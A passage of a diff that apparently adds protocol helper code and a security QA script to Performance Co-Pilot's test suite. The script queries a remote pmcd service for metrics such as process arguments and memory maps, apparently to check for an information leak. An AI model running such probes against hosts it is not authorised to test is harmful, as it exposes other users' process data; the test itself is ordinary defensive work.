+ return 'InDomProfile(indom=%r, state=%r, instances=%r)' % self
+
+ def _asdict(t):
+ 'Return a new dict which maps field names to their values'
+ return {'indom': t[0], 'state': t[1], 'instances': t[2]}
+
+ def _replace(_self, **kwds):
+ 'Return a new InDomProfile object replacing specified fields with new values'
+ result = _self._make(map(kwds.pop, ('indom', 'state', 'instances'), _self))
+ if kwds:
+ raise ValueError('Got unexpected field names: %r' % kwds.keys())
+ return result
+
+ def __getnewargs__(self):
+ return tuple(self)
+
+ indom = property(_itemgetter(0))
+ state = property(_itemgetter(1))
+ instances = property(_itemgetter(2))
+
+# Generated by collections command (not presented in python 2.4
+# Profile = collections.namedtuple("Profile", "state profiles")
+class Profile(tuple):
+ 'Profile(state, profiles)'
+
+ __slots__ = ()
+
+ _fields = ('state', 'profiles')
+
+ def __new__(_cls, state, profiles):
+ return tuple.__new__(_cls, (state, profiles))
+
+ @classmethod
+ def _make(cls, iterable, new=tuple.__new__, len=len):
+ 'Make a new Profile object from a sequence or iterable'
+ result = new(cls, iterable)
+ if len(result) != 2:
+ raise TypeError('Expected 2 arguments, got %d' % len(result))
+ return result
+
+ def __repr__(self):
+ return 'Profile(state=%r, profiles=%r)' % self
+
+ def _asdict(t):
+ 'Return a new dict which maps field names to their values'
+ return {'state': t[0], 'profiles': t[1]}
+
+ def _replace(_self, **kwds):
+ 'Return a new Profile object replacing specified fields with new values'
+ result = _self._make(map(kwds.pop, ('state', 'profiles'), _self))
+ if kwds:
+ raise ValueError('Got unexpected field names: %r' % kwds.keys())
+ return result
+
+ def __getnewargs__(self):
+ return tuple(self)
+
+ state = property(_itemgetter(0))
+ profiles = property(_itemgetter(1))
+
+
+
+def send_profile(sock, from_, ctxnum, instprof):
+ send_pdu(sock, PDU_PROFILE, from_,
+ struct.pack(">iiii", ctxnum, instprof.state,
+ len(instprof.profiles), 0)
+ + str("").join([struct.pack(">Iii" + "i" * len(x.instances),
+ x.indom, x.state, len(x.instances),
+ *x.instances)
+ for x in instprof.profiles]))
+def send_fetch(sock, from_, ctxnum, pmidlist, when=(0, 0)):
+ sec, usec = when
+ send_pdu(sock, PDU_FETCH, from_,
+ struct.pack(">iiii" + "i" * len(pmidlist),
+ ctxnum, sec, usec, len(pmidlist),
+ *pmidlist))
+def send_text_req(sock, from_, ident, text):
+ send_pdu(sock, PDU_TEXT_REQ, from_,
+ struct.pack(">ii", ident, len(text))
+ + text)
+def send_instance_req(sock, from_, indom, name, when=(0, 0), inst=-1):
+ sec, usec = when
+ send_pdu(sock, PDU_INSTANCE_REQ, from_,
+ struct.pack(">Iiiii", indom, sec, usec, inst, len(name))
+ + name)
+def client_handshake(sock, from_):
+ header, error = parse_error(read_pdu(sock))
+ send_creds(sock, from_, [Cred(CVERSION, PDU_VERSION, 0, 0)])
diff --git a/qa/secure/query-proc b/qa/secure/query-proc
new file mode 100755
index 0000000..0233548
--- /dev/null
+++ b/qa/secure/query-proc
@@ -0,0 +1,27 @@
+#
+# usage: python query-proc HOST VAR
+#
+# Connects to pmcd on HOST and queries for the VAR performance metric.
+# Particularly interesting are proc.psargs and proc.memory.maps.
+#
+# Florian Weimer / Red Hat Product Security Team
+import socket
+import sys
+import pcppdu
+_, host, var = sys.argv
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((host, 44321))
+pcppdu.client_handshake(sock, from_=1)
+pcppdu.send_pmns_names(sock, from_=1, names=(var.encode("utf-8"),))
+ids = pcppdu.parse_pmns_ids(pcppdu.read_pdu(sock))
+print(ids)
+pmid = ids[1].idlist[0]
+pcppdu.send_desc_req(sock, from_=1, pmid=pmid)
+print(pcppdu.parse_desc(pcppdu.read_pdu(sock)))
+pcppdu.send_profile(sock, from_=1, ctxnum=0, instprof=(pcppdu.Profile(0, (pcppdu.InDomProfile(0, 0, ()),),)))
+pcppdu.send_fetch(sock, from_=1, ctxnum=0, pmidlist=(pmid,))
+blob = pcppdu.read_pdu(sock)
+print(repr(blob))
+for d in pcppdu.parse_result(blob)[1][0].values:
+ print(d)
+sock.close()